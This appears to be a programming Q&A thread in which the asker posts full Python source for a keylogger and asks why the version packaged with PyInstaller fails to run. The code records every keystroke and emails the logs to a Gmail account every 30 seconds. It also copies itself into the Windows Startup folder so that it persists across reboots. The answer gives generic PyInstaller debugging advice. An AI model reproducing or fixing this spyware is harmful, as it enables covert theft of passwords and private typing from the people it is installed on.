Python exe script is failing to run

Question

I am creating a script that logs keyboard strikes using python and then sends the recorded strikes to my email. Everything is working perfectly and I recieve all the info to my email. The script contains a code that copies the .py script to startup so that it starts everytime the pc launches. Everything is working fine. Now I converted it to exe and I press it and it gives this error:

Failed to excute script test

This is the code:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
import getpass
import os
import shutil
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

SEND_REPORT_EVERY = 30 # 10 minutes
EMAIL_ADDRESS = "email"
EMAIL_PASSWORD = "pass"
USER_NAME = getpass.getuser()

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def sendmail(self, email, password, message):
        # manages a connection to an SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # can print to a file, whatever you want
            # print(self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()



    def copyfile(self):
        file_path = os.path.dirname(os.path.abspath(__file__))
        filename=os.path.basename(os.path.abspath(__file__))
        original = str(file_path)+str('\\')+str(filename) 
        print(original)
        target = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.exe' % USER_NAME
        shutil.copyfile(original, target)
    def start(self):
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread
        self.semaphore.acquire()

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    #keylogger.add_to_startup()
    keylogger.copyfile()
    keylogger.start()

So what do you think the problem is? Everything in the normal script wotks fine. Is it a permssions error??

Answer 1

So, What I did is I added an extra parameter --debug in the pyinstaller command and removing the --windowed parameter so that I can see what is actually happening when the app is clicked and I found out there was an error that made a lot of sense when I trace it, it basically complained that "some_image.jpg" no such file or directory.

The reason why it complains and didn't complain when I ran the script from the first place or even using the command line "./" is because the file image existed in the same path as the script located but when pyinstaller created "dist" directory which has the app product it makes a perfect sense that the image file is not there and so I basically moved it to that dist directory where the clickable app is there!